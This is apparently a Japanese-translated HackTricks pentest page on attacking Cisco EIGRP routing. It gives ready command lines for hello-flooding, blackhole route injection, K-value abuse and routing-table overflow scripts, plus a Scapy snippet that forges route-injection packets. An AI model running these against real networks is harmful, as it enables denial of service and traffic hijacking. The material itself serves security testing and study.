EIGRP Attacks

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

これは https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 に掲載されている攻撃の概要です。詳細はそちらを参照してください。

Fake EIGRP Neighbors Attack

  • 目的: EIGRP helloパケットを大量に送信してルータのCPUを過負荷にし、DoS攻撃を引き起こす可能性がある。
  • ツール: helloflooding.py スクリプト.
  • 実行例:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • パラメータ:
  • --interface: ネットワークインターフェースを指定します。例: eth0.
  • --as: EIGRPのAS番号を指定します。例: 1.
  • --subnet: サブネットを指定します。例: 10.10.100.0/24.

EIGRP Blackhole Attack

  • 目的: 偽のルートを注入してネットワークトラフィックの流れを阻害し、トラフィックが存在しない宛先へ向かうブラックホールを作る。
  • ツール: routeinject.py スクリプト.
  • 実行例:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • パラメータ:
  • --interface: 攻撃者システムのインターフェースを指定します。
  • --as: EIGRPのAS番号を指定します。
  • --src: 攻撃者のIPアドレスを指定します。
  • --dst: ターゲットサブネットのIPを指定します。
  • --prefix: ターゲットサブネットIPのマスク(プレフィックス長)を指定します。

Abusing K-Values Attack

  • 目的: K値を改変して注入することでEIGRPドメイン内で継続的な切断と再接続を発生させ、結果的にDoSを引き起こす。
  • ツール: relationshipnightmare.py スクリプト.
  • 実行例:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • パラメータ:
  • --interface: ネットワークインターフェースを指定します。
  • --as: EIGRPのAS番号を指定します。
  • --src: 正規ルータのIPアドレスを指定します。

Routing Table Overflow Attack

  • 目的: 多数の偽ルートでルーティングテーブルを氾濫させ、ルータのCPUとRAMに負荷をかける。
  • ツール: routingtableoverflow.py スクリプト.
  • 実行例:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • パラメータ:
  • --interface: ネットワークインターフェースを指定します。
  • --as: EIGRPのAS番号を指定します。
  • --src: 攻撃者のIPアドレスを指定します。

Protocol Notes Useful for Attacks

  • HELLOパケットはK値を運び、K値が一致したときのみ隣接が形成される。 これはK値不一致/関係破壊攻撃の基本であり、K値が不一致だと隣接が阻害される理由である。
  • HELLO(および初回のUPDATE)内のPARAMETER TLV (Type 0x0001) はK値とHold Timeを運ぶため、パッシブキャプチャでセグメント上で使用されている正確な値が明らかになる。

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy ships an EIGRP contrib layer with TLVs like EIGRPParam and EIGRPIntRoute, which is enough to craft UPDATEs for route injection. Example adapted from the davidbombal/scapy EIGRP route injection script:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

同じリポジトリには、実際の EIGRP パケットをスニッフィングして spoofed source IP で再生し、phantom neighbors を作成する “fake neighbor” スクリプトが含まれています(CPU/neighbor-table の負荷をかけるのに有用です)。

  • Scapy EIGRP contrib docs: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Example scripts: https://github.com/davidbombal/scapy

Routopsy & NSE ヘルパー

  • Routopsy は仮想ルーターの攻撃ラボ(FRRouting + Scapy)を構築し、EIGRP テストに適用できる DRP 攻撃を含んでいます。 https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • Nmap の NSE には、EIGRP パケットのサブセットを解析/生成する小さな eigrp ライブラリがあります。 https://nmap.org/nsedoc/lib/eigrp.html

Authentication Recon

  • EIGRP named mode は authentication mode hmac-sha-256 ... による HMAC-SHA-256 authentication をサポートします。有効な場合は作成したパケットが正しいキーで認証されている必要があり、無効の場合は spoofing/injection の検証が容易になります。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする